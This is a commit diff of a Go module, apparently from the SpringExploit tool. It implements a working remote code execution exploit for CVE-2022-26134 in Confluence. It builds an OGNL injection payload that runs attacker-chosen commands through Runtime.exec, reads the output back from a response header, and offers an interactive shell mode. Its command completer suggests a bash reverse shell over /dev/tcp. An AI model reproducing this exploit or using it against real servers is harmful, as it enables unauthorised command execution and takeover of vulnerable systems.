|
| 1 | +package _022 |
| 2 | + |
| 3 | +import ( |
| 4 | + "fmt" |
| 5 | + req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" |
| 6 | + resp2 "github.com/SummerSec/SpringExploit/cmd/commons/resp" |
| 7 | + "github.com/SummerSec/SpringExploit/cmd/commons/utils" |
| 8 | + "github.com/c-bata/go-prompt" |
| 9 | + "github.com/imroc/req/v3" |
| 10 | + log "github.com/sirupsen/logrus" |
| 11 | +) |
| 12 | + |
| 13 | +type CVE202226134 struct{} |
| 14 | + |
| 15 | +func (t CVE202226134) SendPoc(target string, hashmap map[string]interface{}) { |
| 16 | + |
| 17 | + reqmap := req2.NewReqInfoToMap(hashmap) |
| 18 | + reqmap["method"] = "GET" |
| 19 | + headers := map[string]string{ |
| 20 | + "User-Agent": utils.GetUA(), |
| 21 | + "Accept": "*/*", |
| 22 | + "Accept-Encoding": "gzip, deflate", |
| 23 | + } |
| 24 | + reqmap["headers"] = headers |
| 25 | + |
| 26 | + randStr := utils.GetCode(10) |
| 27 | + cmd := "echo " + randStr |
| 28 | + //cmd := "echo%20" + randStr + "%7c%62%61%73%65%36%34%20%2d%64" |
| 29 | + //cmd = "ifconfig" |
| 30 | + if hashmap["Shell"].(bool) { |
| 31 | + log.Info("[+] Start CVE-2022-26134 Shell Mode") |
| 32 | + th := prompt.Input("[+] Please input command: ", t.completer) |
| 33 | + if th == "" { |
| 34 | + th = "whoami" |
| 35 | + } |
| 36 | + cmd = th |
| 37 | + } |
| 38 | + payload := fmt. Sprintf( "${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(\"%s\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}", cmd) |
| 39 | + payload, _ = req2.Encode(payload, "utf8") |
| 40 | + target1 := target + payload + "/" |
| 41 | + |
| 42 | + //log.Debug("[+] Target: ", target) |
| 43 | + reqmap["url"] = target1 |
| 44 | + |
| 45 | + resp := utils.Send(reqmap) |
| 46 | + |
| 47 | + res := resp2.HandlerRespHeader(resp, "X-Cmd-Response") |
| 48 | + if t.CheckExp(resp, target1, hashmap) { |
| 49 | + if res != "" { |
| 50 | + //res = utils.DecodeBase64String(res) |
| 51 | + log.Infof("[+] Success CVE-2022-26134 %s", target) |
| 52 | + if hashmap["Shell"].(bool) { |
| 53 | + log.Infof("[+] 命令执行结果: %s", res) |
| 54 | + log.Info("[+] End CVE-2022-26134 shell") |
| 55 | + } else { |
| 56 | + result := fmt.Sprintf(" %s 存在 CVE-2022-26134 漏洞, 可以使用 SpringExploit -u %s -p CVE202226134 -shell 进入交互式执行命令", target1, target1) |
| 57 | + t.SaveResult(result, hashmap["Out"].(string)) |
| 58 | + } |
| 59 | + } |
| 60 | + } |
| 61 | + |
| 62 | +} |
| 63 | + |
| 64 | +func (CVE202226134) SaveResult(target string, file string) { |
| 65 | + log.Info(target) |
| 66 | + err := utils.SaveToFile(target, file) |
| 67 | + if err != nil { |
| 68 | + log.Debugf("[-] Save result error: %s %s", target, err) |
| 69 | + return |
| 70 | + } |
| 71 | +} |
| 72 | + |
| 73 | +func (CVE202226134) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool { |
| 74 | + |
| 75 | + if !resp.IsSuccess() { |
| 76 | + return true |
| 77 | + } else { |
| 78 | + return false |
| 79 | + } |
| 80 | + |
| 81 | +} |
| 82 | + |
| 83 | +func (t CVE202226134) completer(d prompt.Document) []prompt.Suggest { |
| 84 | + s := []prompt.Suggest{ |
| 85 | + {Text: "id", Description: "you can type command {id}"}, |
| 86 | + {Text: "bash", Description: "you can type command bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/8090 0>&1"}, |
| 87 | + } |
| 88 | + return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true) |
| 89 | +} |
0 commit comments